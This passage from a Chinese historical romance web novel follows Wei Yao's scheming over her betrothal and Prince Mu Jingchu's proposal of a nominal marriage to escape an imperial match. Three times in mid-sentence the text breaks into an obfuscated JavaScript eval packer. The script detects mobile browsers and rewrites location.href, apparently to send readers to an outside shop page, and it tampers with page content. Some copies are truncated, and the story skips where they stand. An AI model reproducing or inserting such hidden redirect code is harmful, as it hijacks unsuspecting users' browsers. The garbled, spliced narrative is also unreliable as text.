但贺氏毕竟是府里的主母，他不好在女儿跟前多说，便只颔首道：“既是那奴婢藏有害人之心，合该重惩，回头我再问问。也怪我那阵子公事太忙，案头堆的东西太多，没留意家书，倒不知有这等事，否则总该另派人手去迎你。” 说着，自己也有些尴尬，又描补道：“这回是我疏忽了。往后再有此等事，你只管告诉我。为父接你进京，可不是为了叫你受委屈。” 多贴心的话呀，放在前世的魏窈身上，听后必定会鼻头泛酸，对这位慈父更添几分信赖。 可信赖的后果是怎样的呢？ 魏窈心底冷嘲，脸上却还是得浮起感激的笑，“女儿记住了。” 魏芝翰瞧她这样懂事，愈发觉得这是个结姻亲的好苗子，便将话锋一转，道：“如此说来，肃郡王待你倒是很好。莫非他……” 有些话不好问出口，点到即止。 魏窈只是有些羞涩地低头。 虽说扯了肃郡王这张虎皮做大旗，但男女之事本就说不清道不明，她更不敢把话说得太满，便只含糊道：“外头都传闻他冷情冷性，不过经了这两回，他待女儿倒确实不错。旁的不好说，只是既有昨日之事，若许家从哪里听得风声，怕是会心存疑虑。” 这话倒是真的。 许家既自诩书香门第，平素颇重门风，于女眷的约束上更是严格，若得知待嫁女湿了身体跟旁的男子独处一室，必定不会罢休。 何况，若肃郡王当真对女儿有意…… 魏芝翰不敢奢想那等美事，但心底却还是生出些期待，又问道：“那依你的意思呢？” “女儿刚回京，外头又议论纷纷，这种事其实不必着急。倒是妹妹有外祖家做靠山，又是打小好生教养的官家千金，与其姐妹间横生龃龉，让夫人忧心难安，不如遂了各自的心意，也好令家宅和睦、万事顺意。” 这话说得大度，竟令魏芝翰心底暗生感叹，未料养在身边的掌上明珠还不及乡下长大的女儿识大体。 肃郡王待女儿是何心思，他当然没法去问。 但事已至此，妻女态度各有不同，为免贺氏不死心再生事端，也为免得罪肃郡王，少不得要跟岳父贺崇再行商议。 便道声“知道了”，让魏窈自管回屋去。 待女儿施礼告退掩上屋门，他想起江陵城那股隐情，到底按捺不住怒气，直奔贺氏屋里去了。 …… 从书房出来的时候，魏窈心头一阵松快。 既扯了穆景初这一面大旗，她的婚事便可拖一拖了，至少给了她更多转圜的余地。至于魏淑云嫁给许约这种事，她要上赶着嫁就嫁吧，回头哑巴吃了黄连，也不枉费贺氏上蹿下跳的一片苦心。 只是想到穆景初无端被她扣了个“可能喜欢她”的嫌疑，她到底有点心虚。 于是在心里默默给他道个歉。 墙垣屋宇相隔的皇宫里，穆景初此刻也正为婚事头疼。 ——因他又被昭明帝给催婚了。 他今日进宫，原本不是为着家宅私事，而是公务使然。 去年他从塞北战场凯旋，得昭明帝着意嘉奖，封为郡王之位，深居简出的父亲惠王便劝他暂且急流勇退。 穆景初固然有心继承堂兄遗志，率军收复灵武重振边塞，却也瞧出了这位祖父对皇子领兵的提防戒备。加之身为皇叔的梁王穆元恭借题发挥，挑拨得昭明帝险些起疑，穆景初索性在户部挂个闲职暂避风头。 户部管着国库银钱田亩等事，原本甚为繁忙，因穆景初有意收敛锋芒，他挑的那职位确实真的清闲。 但再闲的职位，也终究躲不过朝务。 比如最近这阵子。 事情起于今年的正月底。 彼时年节刚过，又逢连日晴爽天干物燥，当值的宫人一个不慎没看好火苗，竟将昭明帝平素打坐用的宫殿给烧了。 昭明帝盛怒之下处置了许多人，待怒气过后，便该寻个新的打坐之地。 宫里倒也有空闲的殿宇，但他哪里瞧得上？ 登基四十余年，虽说边塞偶有战事、也有要紧失地未曾收复，因他年轻时秉着休养生息的念头勤恳执政，倒是养得国库充盈，民间亦颇富庶安稳。 像是京城里星罗棋布包罗万货的商铺，通宵达旦行客不绝的夜市，乃至百姓们安享太平的种种宴饮盛会，都曾让他暗自引以为傲。 既有充盈国库，加之皇宫逼仄，昭明帝便有意在皇宫后新修一座道观，供他修仙之用。 谁知他才提出这打算，便遭到宰相韩居敬的强烈反对。 昭明帝再试着征询百官的意思，除了素来贴心的贺崇帮他说了句话之外，旁的官员少数沉默，多半都跟着韩居敬一道反对。 户部尚书做事更狠，都不用拨算盘，当场给他噼里啪啦报了一大堆要花钱的地方—— 譬如南边几处大堤年久失修，为免洪涝，昭明帝先前早已答允拨款重修；譬如各处边军需防备外患，每年口粮衣物兵器都需巨款；譬如某处正逢春荒，需朝廷拨钱粮赈灾…… 再充盈的国库，真个要把事事都做好，那也是不够花的。 且皇宫附近多有民宅，几代人传下来的基业，哪是那么容易迁走的？ 一大串理由，听得昭明帝头疼。 君臣当场不欢而散。 之后昭明帝数次提及，都没能如愿让宰相等人退让。 今日他将身在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138321|196044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 户部的穆景初，以及身为左膀右臂的两个儿子梁王和康王召进宫，便是想拿亲情施压，让他们去说服韩居敬那个犟种。 费了半天口舌，总算有点收获—— 梁王与韩居敬结了姻亲，在百官中又颇有威望，扛不住父皇的劝言，又被孝道压着，只好退让几步，答允想想办法。 康王原就听话些，先前碍着物议没太张扬，如今昭明帝一催，便从善如流。 昭明帝见此法奏效，总算稍稍展颜。 待两个儿子告退，想起眼前这个小孙儿婚事还没着落，不由又催促起来。 这事他已提了好多次，穆景初每回都以没有中意的女子来敷衍，昭明帝先前倒也没太催逼。 今日大抵是想到了梁王续弦王妃的身份，见穆景初仍一口推拒婚事，竟是走近他身边，颇心疼地道：“你决意不娶，莫非是为了韩明漪？” “她既已嫁给梁王，你又何必放不下，耽误了自家终身？” “京城里多的是好姑娘，总该选个差不多的先放在身边，回头再遇见中意的，再娶为正妃也就是了。” 昭明帝说话时满面和蔼，却听得穆景初一头雾水。 他的婚娶，关韩明漪什么事！ 他跟韩明漪确实算自幼相识，幼时相处得还算不错，但穆景初从未有过旁的心思。至于那女人要给大她十多岁的梁王叔续弦，也是她的私心所致，穆景初看得清清楚楚，更不至于再有瓜葛。 此刻昭明帝问及，他自然否认。 昭明帝闻言便笑了，“既不是惦记旧人，朕便放心了。你这么大年纪，身边空着也不是个事，回头朕便替你挑个世家女子，赐桩婚事吧。成家之后，或许你能更懂事些。” 说罢，在他肩上重重拍了两下，笑意深晦地走了。 留穆景初站在那里，心头微沉。 这是在威胁？ 若不顺从帝王心意，像贺崇那样帮着想办法修道观，便拿他的婚事开刀，乱点个鸳鸯谱？ 身为帝王，昭明帝确实有这能耐。 但昭明帝修仙这事本就在朝臣中颇有微词，若为了修道观，将周遭成片的百姓无端迁走，谈何容易？更勿论失地未收，军力不算强盛，将巨额银钱耗费在华而不实的道观上，着实不得人心。 穆景初瞥了眼消失在帘帐后的身影，片刻后，躬身告退。 出得皇宫翻身上马，想着昭明帝的威胁，不知怎的，心头忽而浮起个身影来。 穆景初抬手揉了揉眉心。 年过弱冠而未婚娶，并非他心有所系，只是没遇见称心的人罢了。 外间都传闻他身有隐疾才不近女色，穆景初虽不至于如此，但身心确实挑剔些——曾摆在面前那么多女子，他看着都觉得兴致缺缺，更勿论婚娶。 何况，自幼长在宫廷，看过种种污糟事之后，他既不太信所谓的深情白首，更懒得添个女人在身边徒生麻烦。 直到最近…… 那日幽静小屋里，她浑身湿漉漉的模样，连带彼时拥她共骑的触感都像是印在了心上，挥之不去。 是喜欢吗？ 匆匆三面之缘而已，应该不至于。 但既然各自尚未婚嫁，她又说什么瞧见那幅湿透的模样就该娶她，倒不如…… 14. 014 翌日傍晚，穆景初在斟酌过后，去了趟父亲惠王的书房。 惠王穆元廷年过四十，多年前不慎伤了腿脚后便渐渐从朝堂中隐退，近些年更是深居简出。他偶尔外出时虽以轮椅代步，在府中慢慢行走倒是无恙，这会儿正点了一炉清香，在书架上挑书。 听是穆景初的声音，便让他进去。 夕阳斜照，淡金色的日光穿透薄薄的窗纱，落在惠王颀长的侧影。 他原就是名儒教导的皇子，这些年修身养性，更是添了几分儒雅平和的气度。 难得儿子主动来书房，他瞧着对方脸色，不由笑道：“怎么，昨儿进宫，皇上给你出难题了？” 一语戳中心事，穆景初竟自笑了。 惠王便指了指里头的蒲团矮几，父子俩落座后，他便娶刚煮好的热水来泡茶，口中道：“说来听听。” 穆景初哪好劳动父亲，忙接过茶壶冲泡，将昨日殿中的事情简略说给惠王。 当日昭明帝提出要修道观，遭到群臣反对后，素来爱逢迎圣意的贺崇便琢磨着法子，想了个还算说得过去的由头—— 平白耗巨资修道观，自然会引得物议如沸。不过昭明帝如今年已六十七，过两年就该是世间少有的古稀之龄了，他又是帝王之尊，到时候可不得好生庆贺一番？ 迁走百姓修建道观，怎么也得一两年的功夫，这么掐指一算，若将道观作为帝王古稀之年千秋节的贺礼，倒是个极好的由头。 这种事，朝堂官员出面未必适宜，可若以皇子皇孙们的名义奉上，添了几分仁孝之心，可就不一样了。如同当年诸皇子为贺帝王生辰而修建西苑一样，如今凤子龙孙们为祈帝王长寿而献此贴心贺礼，就没人敢指摘什么了。 至于银钱，别处的不好动用，边防这几年还算安稳，稍稍挪些军费过来，再从别处添补一下，内廷再意思着出一点，便尽够了。 贺崇这主意一出，深得昭明帝赞许。 昨日将叔侄几个召进宫里，便是让梁王出面去说服死犟着不肯退步的宰相韩居敬，再由康王府、惠王府乃至公主府邸提出以道观恭贺千秋。 帝王圣意如此，其实已不太好推拒。 惠王听罢，瞧着袅袅茶烟，想起父皇宫里为修仙而四时不绝的青烟，轻轻摇了摇头。 “贺崇这老东西，确实会体察圣心，也难怪皇上器重信任。只是这事若推下去，边关少了军费让将士们吃苦不说，皇城后面那成片的百姓，怕是要怨声载道了。” 他瞧着儿子，低声道：“节俭军费开支，你必是反对的？” 穆景初点了点头。 “依你皇祖父那性子，你反对也没用。”惠王想起旧事，叹息道：“他真心想做的事，初时还肯讲道理，若真个遇阻，便会动用雷霆手腕，即使刻薄寡恩些也定要达成。我知道你的心思，但这件事咱们拦不住。” 穆景初又何尝不明白这道理？ 收复灵武虽于边关和朝堂有极大的助益，却也绝非易事。昭明帝年轻时就不爱用兵动武，如今上了年纪，更是宁可在边关吃点亏，也不愿重整军威。比起心心念念的道观，削减军费开支亦是微不足道。 他知道拦不住，今日来也不是为这事。 “昨日皇上忽然提起了我的婚事。”穆景初给父亲斟满茶杯，缓声道：“他要给我赐婚。” “是在威胁你？” 见穆景初点了点头，惠王面上浮起讶色，“你这是……松动了？” 儿子的婚事上，他这做父亲的其实比昭明帝还着急。只是穆景初性子倔，先前几番牵线搭桥都被断然推拒，惠王见他自身没有要娶亲的意思，也只能作罢。 今日穆景初忽然提起婚事，必是有了新的态度，这倒着实让惠王有些喜出望外。 穆景初看着他乍然浮起的笑意，有些无奈。 单是威胁赐婚，倒不至于让他松动。 皇命固然难以违抗，但他若真的不肯接受赐婚，总能有法子应对。不过既然机缘巧合，冥冥之中让他和魏窈频频相遇，又在当时的形势下稍有越矩之举，未尝不能在婚事上稍作转圜。只要魏窈愿意，或许……还能帮他办成另一件事。 穆景初既已想清楚，此刻便道：“儿子最近认识了一位女子，倒挺有趣。与其让皇上随意赐婚，不如抢先把婚事办了。” “哦？是哪家的姑娘？”惠王饶有兴致。 “她叫魏窈。是魏芝翰刚从乡下找回来的女儿。” 这名字出口，惠王神情不由一顿。 魏芝翰在旁人眼里，几乎跟贺崇的亲儿子无异，他的女儿，又焉能跟贺崇撇清干系？ 以儿子这些年对贺崇的态度…… 惠王迟疑道：“你这是真心求娶，还是想借机查当年的事？” 见穆景初垂眸不答，又劝道：“他虽是你堂兄，却也是身份敏感的皇太孙。事情既已过去，文孺又好好地养在你膝下，又何必揪着不放？” “退一步说，即使想查，也未必要娶魏家女儿，婚嫁是终身大事，可不能轻率地把一辈子搭进去。于你，于她，都未必有益。” 这话穆景初有些不好回答。 他想娶魏窈，固然掺杂了些私心，却也有旁的缘故——譬如从未有过的令他自己都诧异的心念牵系，譬如她说看过湿身的模样就该娶她。 不管背后是何缘由，既然心思缠绕于此，不妨一探究竟。 隐晦的心事不便向惠王言明，穆景初只是道：“成了亲未必就搭上一辈子。既是我提出此事，不论贺崇跟魏芝翰如何，我总不会亏待她。何况，她也未必愿意嫁给我。” 说到末尾的时候，他的声音竟添了稍许笑意。 惠王看着儿子那似想起某人后不自觉含笑的神情，一时间竟有点摸不透他的意思了。 不过穆景初既肯娶亲，他自不会阻拦。 只是提醒道：“你愿意成亲，我跟你母亲自然都高兴。只是你得想清楚、把握好分寸，别一招不慎，给自己设个美人计，回头栽进去，反倒失了初衷。” “不至于。”穆景初失笑，“情爱本就无趣，何况是仇家门下的女儿。婚后善待便可，不会动心。” 惠王爷清楚他跟长兄的感情，听了这话，便点点头。 穆景初既得了父亲的允准，走出书房后瞧了瞧天色，决定明日让人递个消息约魏窈出来，先看看她的意思。 …… 魏家的浮香院里，这会儿却正鸡飞狗跳。 魏窈瞧着边哭边闹的魏淑云，简直一个头两个大。 落水之事后魏淑云被罚跪整夜，实在是这位被娇宠着长大的闺中千金从未有过的遭遇。夜里罚跪时，魏淑云心头积攒了多深的怨怪，可想而知。 这事还没平息，今儿前晌魏芝翰和贺氏一阵大吵，更是令满府震动—— 魏芝翰当初身为鳏夫，能迎娶待字闺中的贺氏，皆因贺氏相中了他美男子的皮相身段，更沉迷于其温和性情。这么些年，魏芝翰在贺崇的提携下仕途通达，对于贺氏更是温柔谦让，重话都没说过几句。 似今日这般争吵，实是从未有过的事情。 魏淑云熬了整宿后本就疲累，得知双亲大吵，更是被吓得不轻。好容易等清宴堂里消停下来，她忙过去打听消息。 这一打听，才知道魏芝翰忽然发火，是因魏窈上京途中的什么事。 清宴堂里极少气氛僵持，魏淑云更是没见过母亲落泪，想着今日风波都始于魏窈，怒火窜上心头，便直奔浮香院来。 彼时魏窈正眯眼小憩，被她一声怒吼吓醒，还懵了一瞬。 魏淑云毫不客气，不顾仆妇劝说，闯进屋一把推倒门口的绣荷屏风，竟自大骂起来。 “什么凭空冒出来的姐姐，我才不认！原本家里好好的，你一来就搅了个天翻地覆！人前装着温柔娴静，背地里却只管挑唆父亲，当真是心肠歹毒，满肚子坏水！” “我母亲待你哪里不好了？多宽敞的院子给你住着，成群的下人伺候着，衣裳首饰哪里短了你的？” “怎么你还不知足，背地里只管挑唆生事……” 魏淑云憋了满肚子的气，想起被魏窈拽进水里后当众丢脸，想起对她的议论，那火气越烧越旺，要不是仆妇们怕她闹过头死命拽着，恨不得上前抓花魏窈的脸。 魏窈没回嘴，只冲青穂递了个眼色。 青穂今早才被叮嘱过，没想到姑娘当真料事如神，趁着这混乱场面溜出去，一路小跑着去请魏芝翰。 这头魏淑云只顾着撒泼出气，见魏窈一声不吭，只像是看疯子似的静静瞧着她，心里愈发恼火，挣扎着只往前冲。 “刺啦”一声，夏日的薄衫遭不住仆妇硬拽和她死命的挣扎，当场裂了个大口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她与魏芝翰的父女情分本就稀薄得可怜，对面那三位却是实打实过了十几年的家人，更不用说，魏芝翰在骨子里根本不愿得罪贺家。 即便此刻迫于情势，魏芝翰或许会惩治魏淑云，可夫妻床头吵架床尾和，等过两天回过劲儿来，又会如何作想？ 魏淑云如何，原也无足轻重。 魏窈瞥了眼贺氏，再对上魏芝翰的视线，只能摆出一副宽容长姐的模样，非但没计较，还替魏淑云说了几句话。 在贺氏和魏芝翰的脸色都稍有缓和时，她又上前两步，说出酝酿了好些天的打算—— “妹妹固然是一时气愤口不择言，但有些话，女儿其实也想跟父亲说。女儿自幼长在乡下，苦日子早就熬过去了，如今能回京侍奉父亲膝下，已是苍天垂怜。” “女儿在乡下清净散漫惯了，这院子屋舍于女儿而言已经有些奢华，更不必这许多仆妇丫鬟伺候。” “夫人将府里打理得井井有条，女儿这里也没多少事，不如只留两三个作伴，旁的仍放回原处去做活吧。” “浮香院里，实在无需这么多人。” 说罢，她先朝贺氏屈膝为礼，继而看向魏芝翰，眼底也露出稍许恳求来。 魏芝翰对上那眼神，也终于领会了她的意思。 换了是谁，听见魏淑云那样的大骂，心里都会难受。魏窈能够顾全大局，在这闹哄哄的场合里给他留脸面已是难得，她既不愿担吃穿用度都靠贺氏的名声，他又何必强求？ 原是为补偿而拨来成群仆婢，既是她不想要，从别处补偿也就罢了。 便颔首夸赞几句，让魏窈挑几个堪用的留着，其余随她处置。 贺氏纵不愿安插在屋里的眼线被撤，因今日是魏淑云理亏，且这事算魏芝翰的软肋，不宜多提，也只能点头答应。而后，命仆婢们好生清扫屋舍，往后定要看用心看顾魏窈云云。 等他们一家三口离去，屋舍被重新归置整齐，魏窈留了几个能用的，当晚便将那些别有用心的、难缠的人都遣了出去。 闹剧落幕，她的身边也终于回归清净。 是夜，魏窈睡得格外香甜。 翌日清晨，便依着先前约定好的，乘车往顾顺娘处去，正好见见好些日子没会面的沈歌。 15. 015 螺市街上热闹如旧。 顾顺娘原就是个手脚勤快的人，有了沈歌帮他寻摸的帮工之后，这阵子早起晚睡地忙碌下来，竟已将多半物事都准备妥当了。 这院子租金不便宜，地方也宽敞。 两层的小阁楼面阔三间，上层供顾顺娘起居梳洗之用，最边上那半间做成个简单的茶室，偶尔忙中得空时能歇歇。 底下那三间只留了承重的柱子，旁的隔板都被卸去，倒是十分宽敞，这会儿已将桌椅柜台等物都置办齐整。虽说因俩人资财有限，都是买的七成新的旧物，擦洗干净之后，倒有点老店面的味道。 阁楼旁边是厨房，底下还连着个地窖——那是顾顺娘最喜欢的地方，非但方便储放食材，连同这些天置办的一些小腌菜都整齐码放在架上。 院角一株葳蕤繁茂的老榆树，底下也添了两副桌椅，等到时气凉快些，也是个纳凉吃饭的好地方。 就连牌匾，顾顺娘都已经做好了。 “顺记小馆”四个字，是对街的老张头写的，圆润胖乎的笔调瞧着很是亲切，回头挂上去必定也好看得很。 魏窈即便知道顾顺娘手脚勤快，瞧着这焕然一新的小院子，也不由得啧啧称叹。 就连沈歌都道：“顾姨这阵子是没睡觉，连夜干活的么？照这架势，等我下回再过来，怕不是连客人都招徕满了。” 顾顺娘听了，便笑道：“在京城闲着反而难受，早些收拾出来，回头挑个好日子开张，也不至于仓促。这里头一半的活儿都是孙大姐做的，你真是给我挑了个好帮手！” 沈歌闻言，不由得意地笑了笑。 她自从军之后便着男装，哪怕后来被人识破身份，得靖国公保全后以女子之身在军中为官，寻常也多做男儿装束。 今日她无需上值，确仍穿着磊落的长衫，拿玉冠将头发束起，若不是脖颈上缺了个喉结，倒当真是个玉树临风的清俊男子。 魏窈同她将厨房地窖都逛了一遍，又道阁楼上的茶室入座，顾顺娘亲自泡茶，给她们尝尝手艺。 “顾姨这身本事，从前怎么没瞧出来？”沈歌看她手法娴熟地泡茶，打量茶室布置时，只觉心思机巧，很是雅致。 魏窈便笑道：“你没瞧出来的还多着呢，我刚尝了尝底下那些腌菜，味道比别处卖的都好吃！” 顾顺娘在旁听她俩闲扯，笑而不语。 只待茶泡好了，倒给她俩尝尝。 这般闲适轻松的氛围，无端让魏窈想起了当初在邵州的时候。 彼时顾顺娘虽是沈家雇去做活的，因沈歌与魏窈打小爱一起玩，沈歌便常会去她娘俩住的小屋子，一起玩闹、闲聊、睡觉，倒跟异姓姐妹似的。 彼时顾顺娘也不多说话，只悉心帮她们驱蚊盖被，唇边噙着笑，很是温柔。 而今进了京城，比起魏府里那座院落，魏窈其实更喜欢这地方—— 仿佛只要有顾顺娘和沈歌在，哪怕是个破旧的草庐，也有家的安适味道。 几人难得闲聚喝茶，倒是近日里稍有的欢快。 待晌午，顾顺娘下厨弄了几样小菜，虽非名贵食材，滋味却极好，让魏窈和沈歌赞不绝口。 正自茶足犯饱，困意袭来时，外头忽地响起了叩门声。 青穂去开门，得知是肃郡王身边的人，深感意外，赶紧去回禀。 顾顺娘和沈歌听闻，也没想到肃郡王的人竟然会找到这犄角旮旯来，也觉意外。听对方说，肃郡王有事想问魏窈，请她到一处名为涵园的地方相会，更是面面相觑。 ——毕竟两人交情不深，让待字闺中的魏窈单独去跟男人见面，这事儿于寻常闺阁女子而言着实有些大胆。 但顾顺娘与沈歌的性情到底与众不同。 听闻这消息后固然诧异，却没反对，只双双看向魏窈。 魏窈未料穆景初竟会主动找上门，稍加思索之后便答应了。 但两人毕竟不太熟，沈歌怕魏窈初入京城，应付不来那些矜贵倨傲的皇室宗亲，便辞别顾顺娘，陪魏窈同去——若届时魏窈有个差池，或是哪里不太对劲，有人照应总是好的。 …… 涵园地处僻静，周遭有一片竹林环绕。 沈歌既是男儿装扮，便没钻进车厢里面去，只跟车夫一左一右地坐在外头，顺道能瞧瞧周围情形。 夏日的后晌暑热渐浓，这地方因有高茂的竹林掩映，倒还算凉快。 穿过竹林，前面小巧的门上挂着“涵园”的牌匾，外头不见人影，只有门扇虚掩着，间或传来几声鸟啼。 魏窈环视周遭一圈，先让青穂上去敲门，瞧里头没动静，便推开门扇往里望了望。 曲径通幽，依然不见人影。 这是葫芦里卖什么药？ 她仗着有沈歌在，且先前跟穆景初相处后觉得此人不太像心怀不轨之徒，便壮着胆子推门进去。 青穂紧跟其后。 沈歌才要抬步跟上，忽觉背后似有稍许异声传来，当即朝声音来处望过去。就见有道身影不知是从何处冒出来，转瞬间便至跟前，手中虽无兵器，却仿佛挟卷风雷，直扑面门。 她抬掌挡住这突如其来的袭击，也终于看清来人的面孔—— 约莫十七八岁的年轻男子，长得很俊，加之身量颇高，倒很有股少年郎蜕变后的勃勃英气。 他出手很快，身法亦飘忽莫测，饶是沈歌在沙场冲锋陷阵甚是英勇，对上他迅如闪电的身手，招架得也有些吃力。 几招过后，她甚至觉得对方其实并未太用力，只是试探她身手而已。 果真肃郡王身边卧虎藏龙，凭眼前这年轻男子的身手，莫说她和相熟的那几位武将，便是靖国公最器重的心腹怕也未必是敌手。 不过行军打仗和比拼身手本就隔着天堑。 沈歌打不过他，也自认了，在察觉对方并无太凌厉的攻势后率先收手。 那男子亦没再攻袭，只闪身堵在小门前面，目光将沈歌上下打量，道：“郡王有命，除了魏姑娘主仆，闲人免进。” 声音清越，倒留几分未褪尽的少年气。 魏窈原以为周遭没人，忽然听见外面打斗的声音，赶忙回身去瞧，顿时开了眼界。 她不是没见过沈歌打架。 从前在邵州时，沈歌时常将那些顽劣少年们揍得嗷嗷哭，为此没少被家里念叨。但那终究是在乡野，那些男孩再顽劣，比起习武上很有天分的沈歌，都只算小菜一碟。 而今日，当沈歌跟那男人缠斗一处时，攻防往来的人影直看得魏窈眼花缭乱，甚至差点要屏住呼吸。 直到此刻歇战，她才松了口气，忙道：“这是我朋友。” “郡王吩咐，不许闲人进去。魏姑娘请。”那年轻男子说罢，径直将门扇掩上，而后堵在沈歌跟前，大眼瞪小眼。 魏窈情知多说无益，只好回身往里走。 园中倒甚少青竹，甬道两侧载着些青翠的花木，穿过月洞门，绕过水池上曲折的回廊，是一座架在池面上的水榭。 敞开的厅门旁，卫玄铮拱手行礼。 魏窈回了礼，留青穂候在门外，进厅后绕过屏风，就见穆景初站在一方宽敞的长案后面，跟前摆着许多颜料，似是在作画。 听见脚步，他并未抬头，仍执笔勾画。 魏窈也没有打扰，先安静候着。 她的印象里，穆景初这个人似乎始终跟“武将”两个字捆在一起。既因他从前在边塞的战绩，也因他身上有股将帅杀伐决断的利落威仪气度，跟其他金尊玉贵养大、被文墨浸润出儒雅气度的皇子皇孙迥异。 此刻看他作画，魏窈才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但凡有个行差踏错，搭上性命都是轻的。 何况，以穆景初的性情，匆促三面之缘，应该不至于轻率许婚、约定终身。 心头且惊且疑，令喉咙有些干燥。 她迎着穆景初的视线，默了片刻才道：“殿下若不是开玩笑，这样平白无故地要娶民女，想必背后也有些条件？” “还不算笨。”穆景初竟自低笑。 他这么一笑，让原本心神微绷的魏窈不自觉松了口气。 她相信前世的穆景初对她有意，相信此生寻机与他频频相处后或许能够踏出条新的路，但她绝不相信，仅凭三面之缘就能让穆景初对她生出多浓烈的情思，乃至到谈婚论嫁的地步—— 情字飘忽，她尚且不敢再相信，何况是长在皇室、见惯人心无定的郡王之尊。 但若背后有旁的缘故，那就不一样了。 魏窈也自一笑，见穆景初示意她落座，便就着近处的圈椅端庄坐下。 穆景初从长案后踱步过来，随手取了盘中洗净的樱桃丢给她，靠坐在桌边，甚是悠闲的姿态，“近日屡屡被长辈催婚，很是麻烦，与其被按着头赐婚，不如先娶个人在身边，也好堵住念叨。” 他侧头瞥向魏窈，“就像在江陵城外那样，有个成婚的名头，能敷衍别人就行。” 仅此而已么？ 魏窈不太相信他只会为这点由头就仓促约定终身，但想要从这位郡王嘴里追问出实情，怕也是痴心妄想。 她咬着甘甜的樱桃，抬眸道：“婚嫁并非小事，殿下没有心上人么？” “没有。” “那……为何选我？”她壮着胆子问。 16. 016 穆景初觑着她，没急着回答。 旁的女子，他既无兴致，更不愿有所接触。 但那晚与魏窈策马同乘，拥她在怀时，穆景初莫说抵触，甚至反倒有那么一丢丢贪恋——这也是他决定拿她来堵住赐婚的主因。 日月更替，年岁渐长，这些年既没碰到属意之人，若如今非得选个女子睡在枕畔，他更愿意那个人是魏窈。 至少，跟她相处很是舒服。 满屋安静里，魏窈没有等到她想要的答案，便只管仰头望着他，心里却在飞速琢磨这婚事是否可行。 穆景初见她当真琢磨起这婚事，有些惊讶于她的大胆，道：“若心存顾虑，你也可以提些要求，本王说到做到。” 他既然给了台阶，魏窈便试探道：“这回既是为堵住赐婚，想来殿下娶得也非真心实意。殿下如今虽没有心上人，若往后碰见了，大约又会嫌我碍事。届时，我又当如何自处？” “真有那一日，我放你离开。”穆景初答得爽快。 魏窈又道：“民女长在乡野见识短浅，做事难免愚笨。皇家规矩重重，倘若我贸然应了此事，往后不懂规矩行差踏错，或是不慎给殿下添麻烦，又当如何？” 这显然是她最顾虑的地方了。 穆景初有点好笑，正色道：“那就不去掺和杂事，安心做你喜欢的事就成。府中诸事自有人做主，又不用你冲锋陷阵。” 这样说来，她只需当个摆设就成了。 魏窈很是意动，又问道：“那殿下要我做些什么？” “我府里有个五岁的孩子，你若愿意，陪他玩耍解闷，稍加照看即可。只一件事，你须明白，”穆景初忽而站直身子，稍稍肃色道：“正妃会入宗室谱牒，旁人难免挑剔约束。你既要留后路，我便只能给侧妃之位，届时送你出府能少些麻烦。” 正妻与侧室关乎名位，天下女子大多看重，穆景初自然也须提前约定清楚。 魏窈听了这话，反倒垂眸浅笑。 皇家与民间有天壤之别，郡王侧妃虽也是妾室之名，实则品级不逊于官员正妻，且少了正妻往来交游的重担，实则更能保她周全。且本朝有皇子将身边侍妾放归娘家的先例，却绝没有活着离开皇室的王妃，若叫她选，自然也要约束更少的那个。 穆景初这般考虑，倒是给她吃了个定心丸。 只不过此事终究来得突然，她原本只是想试着借这位郡王拖延婚事另寻转机，没想到他竟会抛来这种机会，此刻不免埋首沉吟，不敢仓促决定。 穆景初见状，便回身踱向长案，口中道：“不必急着决定，想清楚了再递话给我。”说罢，仍抓起画笔，蘸了颜料之后，像是又要认真涂画。 魏窈既得了宽限，便先施礼告辞。 直待脚步声渐渐远去，穆景初才搁下悬而未动的画笔，将目光落在回廊上的那道袅娜身影。 跟一位相识未久的姑娘约定做假夫妻，实在是生平未有之事，也不知方才是否泄露了他在这种事上的生疏。 不过魏窈一个年才十六，养在闺中的姑娘，听见这种事后竟没觉得震惊，甚至还就地斟酌着跟他谈起条件来，倒有点出乎穆景初所料。 从福缘客栈，到湖畔小居，再到今日，她的有些行径搁在这个年纪的姑娘身上，着实有点大胆。 穆景初倒是有点好奇她的决定了。 …… 魏窈带青穂踏出涵园的时候，沈歌还在跟那个年轻男子抱臂对峙。 一个倚着门框，一个站在竹下。 听见熟悉的脚步声靠近，沈歌才将视线从对方身上挪开，见自家姐妹安然无恙，总算把心放回肚子里。 三人照原路返回，走出一小段路之后，沈歌回头一瞧，就见对方仍旧抱臂站在门边，双眸清亮，只管将视线落在她的身上。 这人真是古怪！ 她心里暗自嘀咕，又问魏窈在里面可曾遭到麻烦。 魏窈暂且不敢提起她可能跟穆景初结成名义夫妻的事，只说穆景初挺好相处，并没有为难她，瞧着态度还挺随和。 沈歌也不刨根问底，因天色已是不早，就没再回螺市街，在马车外坐到魏府所在的巷口后，掀帘同魏窈道别，而后跳下车走了。 魏窈如常回府，没跟任何人提起这件事。 隔日魏芝翰再次探问她对许家的态度，魏窈拒绝得愈发干脆。回屋后几番斟酌，待理清思绪后，禀过贺氏，去了趟螺市街。 临行前，又从箱柜里取了几样赤金玩意儿。 ——那是魏芝翰给的。大约是觉得她自幼流离在外，存心补偿，那日魏窈将仆婢多半都退回去后，魏芝翰单独给了她半箱子玩物，都是金玉玛瑙之类的玩意儿，约莫是他自己攒的。 